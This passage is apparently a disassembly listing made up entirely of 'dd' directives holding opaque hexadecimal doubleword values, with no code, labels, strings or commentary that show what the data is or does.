		dd 58137C9Dh, 394F7668h, 8B3DD1CFh, 0F427ED4Fh,	974FADEFh
		dd 92F423BCh, 0D8D15715h, 522D83A0h, 255717B3h,	1420C76h
		dd 795FE0CBh, 1E882717h, 194AB087h, 6042B2E1h, 9574BA7Ah
		dd 0CBC61A4Bh, 59FA90D0h, 0F41240A3h, 0F0CFD021h, 71489F6Eh
		dd 3DD30477h, 54C0029Bh, 4F547D2Dh, 1629F05Ch, 0E9791805h
		dd 0E4BD6CCAh, 13C0824h, 68C4267Eh, 70A86021h, 0F247259Fh
		dd 5A5C8488h, 382689A6h, 4F0307DAh, 13F22EBBh, 78587AF0h
		dd 0ADC25BC9h, 16561750h, 59A8928Ch, 2E4DD6F7h,	4A124810h
		dd 85318FEh, 0FA0EE181h, 0C02D7B68h, 7208C6F1h,	51E91628h
		dd 1ADBA358h, 34EA49Ah,	43C10C4h, 0D9609875h, 0C104D87Ah
		dd 0EE06E662h, 0BA8D8708h, 406B61E2h, 2479A7D0h, 2DE186Dh
		dd 1DBB24C1h, 3A80D1E3h, 43955063h, 875C06ACh, 8DEF7F2h
		dd 4AC28101h, 219318BFh, 622ACE41h, 3BF9D3Ah, 3C1222FAh
		dd 0A8B9C121h, 27F2AA92h, 0EACA4B12h, 680EE0B6h, 0EB122ECDh
		dd 0E9822AB6h, 0EE773123h, 0E08BBC1Fh, 778FBD55h, 2B17612Ch
		dd 2D0D8B18h, 710C00CEh, 6448054Fh, 0E9184416h,	0C2BD5FBCh
		dd 0E2989D20h, 570B80B9h, 58313E89h, 331B243Ah,	0D0281C4h
		dd 605D1C32h, 68CB453Ch, 0E4B0484h, 63C502BBh, 5477FF78h
		dd 8FC6E906h, 87FEE915h, 0C1995C3Ah, 12246F6Bh,	0E13C006Eh
		dd 80E9487Eh, 0DCEA2D4Ah, 93033F0Dh, 0EA688F01h, 0ECAB8410h
		dd 0E883B1AEh, 5ADC6760h, 0A716B82Ah, 2DD033C3h, 667EBA18h
		dd 0CF54298Fh, 189BC40Ch, 985BE4CCh, 365324BBh,	2D618B42h
		dd 7E5D6419h, 0EE2407CBh, 90C93F5Bh, 8BC76A86h,	0DC1DF6D6h
		dd 942D136Fh, 0CD8020D4h, 19BE36EDh, 4A090416h,	0FA002AEAh
		dd 1F6C05B9h, 9E9052h, 0B30AC18Eh, 959CE31h, 5C04CB4h
		dd 4C02A1A5h, 0EA06EDACh, 0C27667Fh, 23507A09h,	0A0C4D63Ah
		dd 7787A008h, 0B8C4BF15h, 62958EF0h, 8BD7BD4h, 5D09B9A4h
		dd 967804Bh, 2D79AC13h,	6AF2A868h, 669D49F0h, 2DD62D96h
		dd 0D4E986D4h, 0BF4C1788h, 5DE31B22h, 6048640Bh, 8C3E2D92h
		dd 0F8B09315h, 0A1B95330h, 5438486Eh, 5B196510h, 3B251CC1h
		dd 746A4FADh, 2718D8FFh, 0E6D65AD0h, 0D1D6A53Eh, 1998AE3Eh
		dd 7C5BB3C1h, 39E38111h, 0EBC5290Dh, 99F2033Fh,	0BECD7A2Dh
		dd 5C120281h, 10F38000h, 0AD3F631h, 28F82C03h, 40AFB8D8h
		dd 29285818h, 0C10BEFD9h, 849846FBh, 0B8D5318Eh, 2F7CA1BEh
		dd 6F78C7B0h, 0CEC0EC29h, 633F2628h, 52652B7h, 7F89BCF6h
		dd 0EC19C0DFh, 4A042048h, 1DE9F329h, 0CB758897h, 0A78B7EFh
		dd 0C22354E9h, 8FA256AFh, 4685FB29h, 31E856DDh,	6A5058B5h
		dd 4A5040A2h, 0CF390852h, 0C0080112h, 0D5DE27B9h, 0FD5AD589h
		dd 0A19632E5h, 1E896B44h, 0CA814200h, 441F14D9h, 75D4A60h
		dd 0ABC6926Ah, 2872665Ch, 0B8A112E8h, 0BC36B5E8h, 0D1DD1095h
		dd 39E8652h, 6BFC843Dh,	11C00335h, 0F3CA9408h, 304C3631h
		dd 3FFE41C3h, 608F3A82h, 0A04E619Eh, 65B5DB9h, 4DE987B8h
		dd 0D4942676h, 2E2D5800h, 7F139D18h, 0EA454C52h, 91E4E18Eh
		dd 4352BF30h, 0CE8DD2EBh, 7B5D38CAh, 6D7D27EDh,	6C6805F7h
		dd 1220A773h, 764050E9h, 8002E3C0h, 3B4648EBh, 90535B18h
		dd 83C41748h, 988245CEh, 0A662406Dh, 0F5F0636h,	231D1AE9h
		dd 407CA09h, 0C249007Bh, 5F743780h, 45DDC729h, 72CAECBh
		dd 0BD529DEBh, 0EA5F46A2h, 6181C2C9h, 0AD7BB299h, 645A137Bh
		dd 0BFD217E8h, 6DF8A3C5h, 1CFEBA80h, 0F69D512Ch, 1DA2A471h
		dd 0A556D316h, 0E9003B0Ch, 0E6685550h, 9FFC726Ah, 0E2607EF8h
		dd 0E9E8890Fh, 56676934h, 58C5C2D6h, 765DD8BFh,	8F8C344Bh
		dd 1C8297C0h, 0FF405758h, 0FE4A36A3h, 77D46901h, 0A43F468Bh
		dd 1D0F735Ch, 6BE939DFh, 0C23ED9F4h, 49E05D54h,	82552EEh
		dd 29C07573h, 4B12BCF7h, 0AFFCCC21h, 1965144Eh,	57F9B42Fh
		dd 327C8401h, 8FE0172h
		dd 0AA581208h, 5B14F22Ch, 840FA2CAh, 0BF16A7B7h, 0E15D9502h
		dd 0FEF2572Ah, 8EB56F13h, 8916531Eh, 3E7ECD36h,	0DDBEE44Fh
		dd 0DE9EF05h, 9105444h,	0C325BA4Bh, 86924FBEh, 7AE96FC1h
		dd 0CD347E35h, 9243A2FFh, 24C0B812h, 27541EBDh,	18C278B0h
		dd 0DF114E0h, 9DA8D605h, 0B2AE4C01h, 65EAD60Eh,	0D46D0123h
		dd 60280B44h, 0F70101FFh, 62C40DD0h, 76E5752h, 1937E9C8h
		dd 0B753C118h, 0FE88CB1Fh, 2941224Bh, 0AAF7103Fh, 40B50036h
		dd 0C91BD725h, 7E252D0Eh, 0C3D9E012h, 0E07BB758h, 7C4F170Bh
		dd 0C27FD2B7h, 0CF7751A2h, 0DC4F8CC5h, 7816EBC9h, 1A01114Bh
		dd 5AD24CAAh, 0A0FEE9D5h, 2B90C992h, 22396035h,	9A549EDh
		dd 5D4BE8BCh, 1C4220AAh, 0FCF214D2h, 45CBEF02h,	48442EE9h
		dd 9A31E1F2h, 6AFB1691h, 881C3E2Dh, 0FCF0AF72h,	2047E989h
		dd 9786C416h, 80215DBh,	0EC01526Bh, 857D9D45h, 14F8B9E8h
		dd 0DB2A2C4Ch, 0FD5A9D84h, 48267220h, 0C32FFD59h, 8339885Dh
		dd 0E0702209h, 3B98F16Fh, 0E56C4243h, 1604E9D8h, 0D1476129h
		dd 77DC5582h, 87F217A0h, 0E090A364h, 2FF7CA00h,	0EAC16ABCh
		dd 0EE91305h, 837CAAC9h, 84C24EE9h, 0DCC1BE6Eh,	797026C6h
		dd 40CAB853h, 680105A1h, 116321Fh, 7422DF0h, 826E7F5Eh
		dd 8EC0284Bh, 17E2BE56h, 0A4B8465h, 2B65EDBh, 32B3AB27h
		dd 5724D654h, 4DB07D2Fh, 0E62F0945h, 0F8FDE868h, 5F0AA22Dh
		dd 34924A65h, 5EA82852h, 0ECDDFEB4h, 2D2E268h, 0C640537Dh
		dd 25F0EEFDh, 0BCDAE41Fh, 8397290Eh, 0FD159680h, 0C8BB4BDDh
		dd 0B731684Eh, 9F86392Eh, 21892Fh, 0A874B180h, 600E6448h
		dd 0C8E68104h, 11B42F0Dh, 5C028AF3h, 0F74D5825h, 574ED4DAh
		dd 5FA087ECh, 0CEB2E7E9h, 2CB95E4Ah, 0F780C502h, 58D7EEEFh
		dd 75A306FCh, 0E65F1642h, 675E8B80h, 0CD095198h, 57485B79h
		dd 0CC178C4h, 20605A8Dh, 0DF3ABE00h, 0BE9D609h,	38A452EBh
		dd 17AD19CEh, 0C919C976h, 0CF3D2D0Fh, 25D1F04Bh, 955BF740h
		dd 0BA53C95Eh, 9596557Eh, 0D9BA96A3h, 566E6801h, 46EEA951h
		dd 0F244BB05h, 0C0010289h, 0CD8006E6h, 423C888Fh, 67D02D43h
		dd 611E034Ah, 311C4AC0h, 417CE9C6h, 3B45353Fh, 0BB74998Bh
		dd 9EF92FB4h, 5A19A10Ah, 1B76A32h, 30ACC361h, 0FE28A9ABh
		dd 3348C1CFh, 0F20E25F9h, 0B51D05C3h, 0A42914D9h, 8727E9DBh
		dd 959F139h, 32995640h,	57132A29h, 13FE7A95h, 84F5FD9Eh
		dd 5D0B4A30h, 17229655h, 0A705F068h, 4E444A02h,	112038Ch
		dd 8AC4549Ah, 4FE33B1Ah, 0CAAE92h, 6A8B444Ah, 0E9594EF9h
		dd 9F2658EFh, 2252CCDEh, 34599FAh, 240FF587h, 895D5655h
		dd 0DD45429Ch, 0EC278664h, 0C9E6F918h, 0E9DAA1FDh, 0F23F2F3Ah
		dd 22E4C4BDh, 17F0E1A4h, 1130750h, 233E6560h, 0FCFA3062h
		dd 5B973F92h, 995A44A2h, 4C6F6203h, 5F2D3222h, 62705FEBh
		dd 910B8D94h, 503DA168h, 0C3CAC888h, 3837E197h,	20A4993Bh
		dd 2135027h, 0C4FB4656h, 0B081279h, 0CA90F2D4h,	1B731168h
		dd 0FEF3125Ah, 17FB6A50h, 0A84B565Fh, 0ECA15A61h, 1F4E1420h
		dd 0B636640h, 4C7408EFh, 9DF20482h, 13D07FC3h, 0DFA1335Fh
		dd 0E691AD2Ah, 7E94C08h, 3F2CEE4Ah, 4FE33881h, 0E9343081h
		dd 2FFF4297h, 0EE4261FFh, 0A7F97F88h, 39FAED80h, 1343663h
		dd 84BB8CDh, 2A3BD9FDh,	7AF4208Eh, 273A5C60h, 0BD13961Eh
		dd 820607Eh, 5A607CBDh,	0CC7D0FBAh, 6D9F24DCh, 0D80F6EBAh
		dd 7168BFE2h, 0B3C6675h, 0CBE944B3h, 0C5502A6h,	0C1817494h
		dd 8DD6B9Ch, 0C277842Ah, 0C3F11794h, 2E0E5F25h,	1887EEC0h
		dd 18C041E4h, 375A76DFh, 6B14EE9h, 673BBC2h, 3CBC214Bh
		dd 4A7CB94Fh, 103F8ABFh, 2450DFF6h, 583A762Bh, 35267F14h
		dd 0C6C142A1h, 6804F6C7h, 32AE6D5Ah, 0B7DAE52h,	6597FF5Eh
		dd 1B54E986h, 0F456BF34h, 709E6850h, 0EC53BF03h, 8462B643h
		dd 0ABC0925h, 0BC717204h, 6C726002h, 975D7AF7h,	0F521FF0Fh
		dd 2ACB7F82h, 227F05BEh, 9F5CAB0Ch, 294F1304h, 91EFE6C0h
		dd 4A9D2747h, 1482FDF6h, 550F51D1h, 4F593370h, 0E6BD0076h
		dd 968BA67h, 8F5D58EBh,	0A76C2601h, 0FCCD8110h,	0ACA0920Ch
		dd 5D95B6E4h, 0E2900D16h, 5CB40B4Eh, 0D3403F6h,	0F0295FBCh
		dd 3E519AF1h, 17EBBE43h, 0FCEAFC2Bh, 9C7CA375h,	4077D9ABh
		dd 0D15AC017h, 13A22140h, 0B55FAE5Dh, 1C08064Ah, 83591480h
		dd 0D9702EEh, 987F4603h, 0E87E28CDh, 0AD80F85Eh, 1DB05066h
		dd 9EC208B2h, 0A012FF58h, 0E888F45Ch, 36DE8CB5h, 0EA801259h
		dd 0E1F00941h, 31397364h, 8C635F0h, 40079B9Ch, 0DC9791F8h
		dd 1F24E81h, 106E6AF4h,	4FF03F33h, 20C40B25h, 0BD97627h
		dd 0F92061A8h, 0D3F72D4Ah, 7DE6A9DDh, 60656690h, 8E05C983h
		dd 5909B48Bh, 6D9A97B6h, 5D545517h, 0E2A10CBDh,	57F64C83h
		dd 2090F4C8h, 2E8F09FCh, 0CC6507DCh, 0D0D77E25h, 41CB7FC8h
		dd 0ED4157C1h, 36907E5Ah, 451C4060h, 0B0C6E837h, 0D6F32FC1h
		dd 6960D359h, 971A7084h, 0C5EFD8D6h, 0FA068864h, 0BD381554h
		dd 866FA9D4h, 1E18866Ch, 89050CBAh, 0B1D24214h,	0F0333112h
		dd 7AF9CF41h, 47204FAEh, 0D645BD1Fh, 0AF9ED42Dh, 0B0CE96FFh
		dd 0B036605h, 8F648B0Fh, 81400898h, 2268B5E7h, 604D4959h
		dd 0AF765B76h, 62E4FF36h, 0BB952E8Dh, 0C6075A1Ch, 5BDE63FBh
		dd 5474F0CAh, 7A935F59h, 0CFC9B8ECh, 820A49C1h,	0FF7CB9C9h
		dd 3FA8DFD1h, 4635EBDh,	805302E7h, 9F607D1Bh, 0B04F0C30h
		dd 283C1A31h, 0F92D116h, 0A10422F7h, 43254E33h,	9E0A0132h
		dd 21148D4Fh, 30DBC954h, 97B154E9h, 203FDAA5h, 0F8C04D2Bh
		dd 9D6C1BB3h, 2B549731h, 381695A8h, 31041320h, 0C4A95934h
		dd 3E606809h, 2F61DAB1h, 80580901h, 6872FC2h, 0E4D2F6FFh
		dd 2D1DA8D3h, 98E2DA2Dh, 0BE31D6F7h, 66391047h,	4E715509h
		dd 5E850949h, 377270A8h, 0BB2E42A4h, 0DD4984B3h, 31596426h
		dd 144519Fh, 77F46850h,	3B203011h, 35EB2AE7h, 50F08B54h
		dd 7A02EC8Bh, 0C7E923F4h, 0AE6048EFh, 2E412C01h, 1D123E09h
		dd 0D299ECE4h, 8096E2BAh, 70FE6CC3h, 0F35527E9h, 68EE2044h
		dd 52BF695Bh, 372FEFC0h, 4370FA4Ah, 9A56851h, 5957C958h
		dd 1F4A9E04h, 75FA9127h, 0A83AC125h, 0D30CE58Ah, 0DE59CF15h
		dd 0BB854915h, 0F62C6CF5h, 0D672B702h, 76204F2Fh, 61095846h
		dd 0BEBBA80h, 1126F36h,	0B7DD4657h, 0A807CFA5h,	0E2800957h
		dd 9DF18FACh, 121EF28Eh, 0BC5F07FCh, 706627B4h,	0D6F62D26h
		dd 0E98D46F4h, 0F528D73Ah, 5F6EE310h, 90E76F40h, 8031570Eh
		dd 442553A1h, 8947FE47h, 0D49239DBh, 3FC17955h,	4B4BEA4Eh
		dd 8FBBD391h, 39A6E0D3h, 0F1267994h, 210525Eh, 0D1D4AB93h
		dd 0D611A9AAh, 5CF702FAh, 0B4763EB6h, 27307308h, 360BE67Eh
		dd 9B0442Ch, 44916859h,	2C6342F6h, 0E6113B5Dh, 0D0840E93h
		dd 5C17956Dh, 0CE815001h, 57054FE1h, 168AE6D8h,	322D28h
		dd 0D087CD9h, 25F9E912h, 42BB2BD0h, 4EC8A159h, 1649F8D5h
		dd 126A13CBh, 0F188EB0Dh, 90EB7683h, 2D700BA7h,	79026116h
		dd 66016D78h, 0C2E2C731h, 657A50h, 4EE05FD0h, 76C4F281h
		dd 0CC31BFEh, 93350C3Ch, 467EC94Ah, 0A9BB5E8Eh,	74779AA6h
		dd 3DDA020Ch, 1F704690h, 101C559h, 0BE09B9CAh, 42206023h
		dd 954E4A60h, 0B8A6E4EDh, 1FE9176Ch, 0BA819054h, 7F077A08h
		dd 9AE28106h, 0EFFC6F04h
		dd 7877E909h, 1582A3FCh, 0F529B51Eh, 0CFF67B68h, 925CA612h
		dd 81EE1E12h, 61F7292Dh, 1F1808Fh, 78B505F8h, 0A5455C87h
		dd 0B5C3BC4h, 19688255h, 0E38790BAh, 1A10F70h, 48A5EAD1h
		dd 33A3FFDCh, 6743257Ah, 277094Ah, 594E39DEh, 51216B8Ah
		dd 2115FCB8h, 3CC03E0Ch, 0BF0D3042h, 0F62FE2E1h, 7E11BD00h
		dd 5BEEE81h, 2DE3C93Fh,	0A787FA29h, 7D624537h, 371C610Fh
		dd 87F936Fh, 90768DC1h,	5E3174A1h, 2587A6DEh, 3DC86AFFh
		dd 0E15754BCh, 0C57D272Fh, 2B3DC9h, 3D4918BFh, 0CE173BB2h
		dd 9ADE3544h, 0A2202558h, 0B112B32h, 0A9F00757h, 8B046B08h
		dd 0E28BEA6h, 3DDA9FF4h, 1E9D7EB5h, 3A46C95Eh, 5825E9FAh
		dd 30184427h, 351A24FEh, 672440F8h, 102D463h, 5D602236h
		dd 560BBD82h, 3E47E390h, 1835262Eh, 0A8059805h,	1F5F0DBFh
		dd 2EC6EC8Dh, 905D4F3Dh, 86262AAFh, 8D5185Eh, 0CA98E6C0h
		dd 0A9CE3031h, 0BD892B06h, 67F56AA7h, 0AB5F140Ch, 0AC538113h
		dd 2CF3C441h, 981DBF17h, 0CEEA28CEh, 5AD08559h,	5FFFB3AAh
		dd 98DC6046h, 0ABEA4FADh, 0F8041E13h, 0B8BA1FF7h, 36B8B5D6h
		dd 53CF4872h, 75953A19h, 0EB80C45Ah, 31ABB45Bh,	2E23FE5Ah
		dd 18780F8Dh, 3ED8503Eh, 4ACA2B54h, 0F401EB59h,	259B5AD6h
		dd 27FE0CBCh, 54F955A0h, 7AC9DEEBh, 0AF162756h,	18038885h
		dd 0DAF48034h, 10F47728h, 70EB3050h, 39F0BD59h,	0A04B232Fh
		dd 3A0EE5D9h, 0F0F0F37Ch, 0B0B1D32Fh, 29BDE1ECh, 0F7D04E2h
		dd 0E30CEEAh, 0E11FBD55h, 0E5C17488h, 0AAEBA820h, 2EB66B8Ah
		dd 16B3530Dh, 9379E848h, 85BA4813h, 0C600808Fh,	434BE520h
		dd 841E5F9h, 9F299CF4h,	3AA11668h, 0A0D3F780h, 9D2573B3h
		dd 0D5CB48D1h, 73F9A21Eh, 15A71017h, 7EBC803Eh,	72444225h
		dd 0E41AE107h, 6BC24F18h, 0C265DFB6h, 1DD7D127h, 5BF9A8D1h
		dd 687EDC80h, 7940DA25h, 307483E0h, 64405261h, 0B52DE920h
		dd 127690DDh, 75909D5Bh, 4E5C8068h, 64EAD3A0h, 1588FEC4h
		dd 0BC4E52FDh, 40F37A10h, 71FCF8FCh, 0F6C3A760h, 58205A3Ch
		dd 94049B3Dh, 0FB564C4Dh, 0D6C0D3h, 968C0D22h, 31BBE9FBh
		dd 0B4BB2BDh, 71615E82h, 5A2C6CDFh, 5BA0462Ch, 0E581522Eh
		dd 46C5202Ah, 9BCDA297h, 12680167h, 0DE8C3F40h,	66CB09BFh
		dd 66683992h, 2610C3CFh, 83050D2Ch, 0D4D0A497h,	20AFB79h
		dd 0BC01D046h, 299E06D9h, 0BA5E653Ah, 44051A04h, 1A056DA8h
		dd 0EB170212h, 11B42D89h, 58140B0Ch, 0CF00550Bh, 55F268C2h
		dd 44C41296h, 12ED8003h, 0D09B0625h, 0A8C05AF6h, 150410AEh
		dd 0A110964Ch, 0D45A277Dh, 6F087002h, 29C64CBDh, 6BAE5247h
		dd 6BF840FDh, 18F9BDF4h, 0A4773388h, 0DFB70F4Bh, 59955D4Fh
		dd 0F6FC8806h, 0B7258EDCh, 0B6C47F47h, 0C1F52D4Bh, 94DB32F8h
		dd 93546BFDh, 0FF94F593h, 0F32197C1h, 4AE9B058h, 317F8174h
		dd 0FDD289D8h, 0FA254B5Fh, 996F062h, 0AE8C15Bh,	4D05809h
		dd 5F43859Fh, 0E0CF28A0h, 73CD0B13h, 7FC017E9h,	255A5468h
		dd 80B48EA8h, 0E8684B4Ch, 4670D6C4h, 900393A4h,	0DB8B0455h
		dd 0BA310D66h, 1784B3E9h, 0E3B117B7h, 33374883h, 0C047CBCh
		dd 733468CDh, 0F3D99C0h, 55D2D8Fh, 0DABA3A74h, 0E90944E9h
		dd 0D3689EB0h, 470F52FDh, 0A5DD8915h, 0FF53ED41h, 4A9EAD01h
		dd 9AF16005h, 0BB025B7Ch, 378C2634h, 5DBD845Fh,	0CC7606EBh
		dd 0DF7B9B25h, 3BCA25FDh, 68E23C90h, 8C6E5BB7h,	155EAD47h
		dd 9DE458Ch, 5A57F73Ah,	0B4421C87h, 0E63FC035h,	43240C70h
		dd 8A28FE1Dh, 63DEC600h, 0D1460D1Bh, 0BAE938E6h, 691789DFh
		dd 0E2BEE457h, 39ABD2CBh, 0C8887B2Fh, 52D917B5h, 0D55407B2h
		dd 65D7D25Ah, 5DE0E7E8h, 2C50112Ch, 600706B2h, 0B45C5AEh
		dd 0CD095AE3h, 2D5DD302h, 0DDDB020Bh, 0B720D237h, 0F830937Eh
		dd 4AC25812h, 0CB06D00Eh, 4C611B75h, 5F7E670Ch,	12F64360h
		dd 4D843DBh, 0BE993338h, 0AA5EBCB3h, 696A537Dh,	10687917h
		dd 0A84AAD70h, 0ABCA1EDBh, 0D428218Bh, 56464027h, 8FBD71B7h
		dd 3DA2E5B6h, 0FAA455BCh, 75C55D44h, 3CB85070h,	598E4800h
		dd 371E8235h, 0BA39851h, 67C6E39h, 12054BE0h, 0D1F23DF6h
		dd 19E9E80Ch, 4BB86C5h,	7DF74A5Dh, 94458621h, 0D2925499h
		dd 39AA91BAh, 2511724Bh, 0FF081D0h, 54E5C8BEh, 1039B62Bh
		dd 0FB4B4520h, 0BF5A68Ch, 80F058Ch, 0DCB12778h,	0D1CD470Bh
		dd 3E4D89ADh, 0CF12F95Fh, 70600DE9h, 595FCE30h,	0A2C30584h
		dd 326969FCh, 1A023C5Eh, 725719h, 0CE020626h, 5AB7F298h
		dd 4ABCEA37h, 0C83B3198h, 4B5A7311h, 0AA3BEB5Fh, 2D050C12h
		dd 65FA3FC3h, 0ED1E4AC1h, 0F795D87Ah, 5F407A41h, 61ED7757h
		dd 2901786Eh, 0A075E6F3h, 6870C9F6h, 5E80B532h,	66196343h
		dd 0C8AF0CC1h, 5134EC88h, 0E9D30909h, 0C9F652F4h, 5F66FA7Bh
		dd 76F1980Bh, 2149DDE9h, 0D2A9D5B6h, 0AFD42802h, 42B4055Eh
		dd 64E6E498h, 0C0E71133h, 96390188h, 6F313E7Dh,	85F2711Dh
		dd 4E16C0E4h, 84F7E889h, 0C7145433h, 8266E105h,	0A83E8420h
		dd 752C032Bh, 0A404F828h, 0E9162BF2h, 41ABEEBh,	48D65D91h
		dd 360BACDAh, 9D2AFF65h, 0DAD668D7h, 57155F12h,	4B40B327h
		dd 7219C00Fh, 3454160Dh, 0F1473DAh, 7CE942D8h, 7414AD16h
		dd 0BDE804ABh, 0EBB80137h, 1C60E57Fh, 25571F7Bh, 6C6ECC22h
		dd 0D304F61Eh, 268DC86h, 84B7A8AEh, 6FACE588h, 0E305EC3Bh
		dd 0C8C0F1E9h, 0E9F15EC7h, 2FCF4D4Fh, 0E9A8FCECh, 10C20AE4h
		dd 0A618C668h, 1222B137h, 0A8C82869h, 54B6C320h, 0E9D0F851h
		dd 0EFF1BA4Bh, 3AAF4A8Bh, 57277E79h, 0C5F76229h, 0B944AC1h
		dd 347DC7C9h, 0E1639440h, 7D26E1E9h, 16BF5BF1h,	0C01D1279h
		dd 6B1CBA3Dh, 0BB633A02h, 4035B380h, 9C40A4E8h,	2894519Dh
		dd 8DFF4E87h, 47E0308Eh, 340F22D7h, 60642552h, 0D2DE10FDh
		dd 593EE1C5h, 9F6D3Ch, 1E6061BBh, 4CEBC170h, 0C80BC806h
		dd 2B024A1Ah, 0B05F2824h, 9B591505h, 581DA6E1h,	6E2D13BDh
		dd 1AC9DE07h, 9C2E4386h, 124A6883h, 0E9D842C5h,	1C777337h
		dd 5EB8FC53h, 0CBB2B831h, 0BDA3D956h, 0CA62CDF8h, 94003EF5h
		dd 97DF1C7h, 0BA98FC3Ch, 0DBB124BEh, 0B0591615h, 9A601043h
		dd 0E6B05034h, 0F0B708h, 0C2F2802Eh, 7BA5E29Eh,	82FB028Fh
		dd 0C17D4480h, 0A580A883h, 0D9397EB9h, 0E7980976h, 14CF14A1h
		dd 3E89B2BFh, 891139Ch,	41661AE4h, 0AAAC2A55h, 305FF3C9h
		dd 0B23528EAh, 938DA5B5h, 191D045Ch, 0FEDDAB5Dh, 0C008CBECh
		dd 37E3052Ah, 0CF4487Ch, 775ECE40h, 1E5D9531h, 53EB2056h
		dd 2E3C112h, 619701BFh,	874D315Ah, 0F27A520Ch, 0D9BB01A5h
		dd 95FD74D8h, 0B5FCE24Eh, 5EE1FDC9h, 53D27A05h,	5DA1F52Dh
		dd 7349F868h, 364240FFh, 0D7A88758h, 61B93EECh,	0EA101219h
		dd 4AAB527Fh, 0B616C13Ch, 0F703DCEDh, 0B38C68BFh, 0CBB248E4h
		dd 0B8C4310h, 6630A668h, 9E24FDEDh, 53DA3988h, 1DE405CEh
		dd 0D49DAA3Dh, 95E149ECh, 96E58CAEh, 7B44AAF8h,	2D0082E4h
		dd 0FDE3B821h, 0FD17D8B7h, 0B378212Ah, 0B124ACEAh, 0CD904C13h
		dd 4C313E68h, 3C04DD0Eh, 14EC842h, 59B23F45h, 310EC3Fh
		dd 262EDEE1h, 51E0509h,	0A43D347Eh, 0A4A740Dh, 68130DF6h
		dd 0D21F5F0Eh, 0F8B35769h, 0D9E6B049h, 3BE8325Bh, 6657B2D2h
		dd 11F20570h, 55776F5h,	492FCB8Ah, 23794BA2h, 4F2554A8h
		dd 371CD526h, 1DC59F4Fh
		dd 0F8E028BFh, 453B0641h, 477D12A1h, 0A257531Dh, 3D6C41C5h
		dd 286F0B16h, 8C44751Fh, 43C4C7E7h, 526B92EBh, 0A730455Fh
		dd 90566775h, 940996EAh, 0EF467463h, 0F4616B69h, 18F36A5Ah
		dd 50A9BEC0h, 0E4B867B2h, 9F78930Ah, 29169937h,	0F5350F0h
		dd 0FA888DB7h, 0A4CF9345h, 6052E78h, 0D93176DAh, 6007CBC3h
		dd 2C5B762Eh, 0C877FEECh, 854CFF79h, 88971165h,	7FC6925h
		dd 0E23B5F59h, 0ADE9826Eh, 0CA4E48D8h, 3EF277Bh, 40BF32D8h
		dd 4BE953CCh, 0D1EB0BAEh, 823C0275h, 0A086042Dh, 845AB269h
		dd 0E0C83874h, 0B98F5B4Ah, 0BF0CD6CCh, 127175F3h, 0B177BE84h
		dd 0B4002EB8h, 0E962B621h, 80809A73h, 0CC120B96h, 0B4E3300Ch
		dd 1F44465Ah, 29BE0853h, 0EFA23A2Bh, 9EA9F0D7h,	19F47E09h
		dd 44700E46h, 1980FF33h, 787D9DF6h, 0BC6F873h, 0CD78B0E8h
		dd 0D41789D6h, 60043F53h, 40165B8Eh, 0B353AC44h, 95903013h
		dd 97B2CEE6h, 72D9F49Dh, 5C0E87Ch, 1335B631h, 0A9607DE9h
		dd 3B208D49h, 84315892h, 57A7FE4Eh, 0A5BC09D6h,	454731C8h
		dd 43E6D9B7h, 0A9CFF5BCh, 5259B1D6h, 8E2606EFh,	0CD49A506h
		dd 0F3A3E92Ah, 2D2D280h, 90C0E34Bh, 981CFD32h, 0C4925B5Ch
		dd 0B2A4C0C0h, 9693D108h, 51046617h, 0FDAA2BDEh, 0F624C468h
		dd 4715B6BAh, 7FFE27E7h, 0CE20FD47h, 77FF754Eh,	14E5C3DAh
		dd 1AB43E00h, 0FE4DF480h, 0A4505BCCh, 0D4EA5851h, 8E4C007h
		dd 0F3EEC80h, 13F274E2h, 48253663h, 0BA9453AFh,	0C29C95CDh
		dd 71C7C9A9h, 5B421821h, 92017A29h, 65C25F57h, 0C11104DFh
		dd 0A1FEE0C6h, 5E102786h, 7F12A1A2h, 889DB44Eh,	39BA104Ah
		dd 673727FBh, 0DF7F62ECh, 8BEEDDE5h, 310C872Fh,	49385BCFh
		dd 0BA7EC5D2h, 0E90BFB9Fh, 0C95D0B4Ch, 65E4F060h, 48209D1Eh
		dd 199424BFh, 85B25CB5h, 0B94C9CE9h, 6F68A0FFh,	1D5DC405h
		dd 0FB5A0B30h, 387026Eh, 0E68445A5h, 7B32CAEDh,	0CC416E5Fh
		dd 764D1AEAh, 7C98764h,	1C745AB3h, 3BF8CEE9h, 0AD13B0F5h
		dd 41125549h, 0E13295CDh, 2C5B9010h, 14125A5Eh,	3A7C89FEh
		dd 0E8C421F2h, 792CEA5Dh, 7964C450h, 0CB281E01h, 0D6523000h
		dd 0F0E5817Ah, 2E8D300Fh, 84023494h, 94F12A5Bh,	0F72F0976h
		dd 0C4698FD1h, 7394B5ABh, 4B7BA24h, 5F09C252h, 97A95C6Bh
		dd 64BC3AB4h, 0A1E9BFB4h, 6C7997E2h, 240FD2Ch, 7468C330h
		dd 0ACFB9DB3h, 23C21E13h, 0F1657F5Ah, 7ED5922Dh, 0EA5F12EBh
		dd 0E0591C92h, 252D3667h, 0B25538B3h, 20474449h, 52A051F3h
		dd 0DB272138h, 82F2FA7Ch, 9FB27D08h, 6884A659h,	16134358h
		dd 0DE49FAA6h, 5E6880DDh, 0BD19D54Bh, 6F2D4A16h, 0E55F9820h
		dd 524B276Ch, 0E9BE8257h, 514CF5CFh, 0A9B1F237h, 5F6477E9h
		dd 256B7497h, 0C1E7977Ch, 64AF5134h, 9EE3FE5Ch,	0BED55DC5h
		dd 0BFED7ADDh, 1E664A74h, 4C0E3459h, 5D12107Ch,	42D739Dh
		dd 0FD160B68h, 0FA8296C8h, 0B08A7881h, 29F74071h, 0BC5FF930h
		dd 7EC145EEh, 0B337EE60h, 66850C5Ah, 9C046810h,	5D31BA7Dh
		dd 0D1025CB8h, 3C55E9E5h, 5E81787Ch, 5F19F502h,	3BEBF92Fh
		dd 67B2C56h, 695928BEh,	0D76BC925h, 66B0BB6Ch, 0A73E6701h
		dd 0AF28E94Eh, 0E47FD6Bh, 52960E71h, 12D33D00h,	5089A77Eh
		dd 0BFB199D0h, 0EAD18533h, 0BADCEB33h, 4E5BDB8h, 5D11C5E6h
		dd 3001AC8Ch, 6905055Bh, 0E87AB716h, 0E9074077h, 7EB3A62Dh
		dd 7C7752AAh, 5F3A56Ah,	2DECDF17h, 0D11052DEh, 3F09921Dh
		dd 601D168Ch, 0B6521C0Ch, 0CE2F80B7h, 0E5FF49Eh, 0AFFD0816h
		dd 136F3204h, 0F1882B8h, 21E46814h, 18474CCCh, 3B961610h
		dd 96AE1F27h, 3EAAE12Fh, 7A9EF704h, 28E0CCAFh, 0B4590A40h
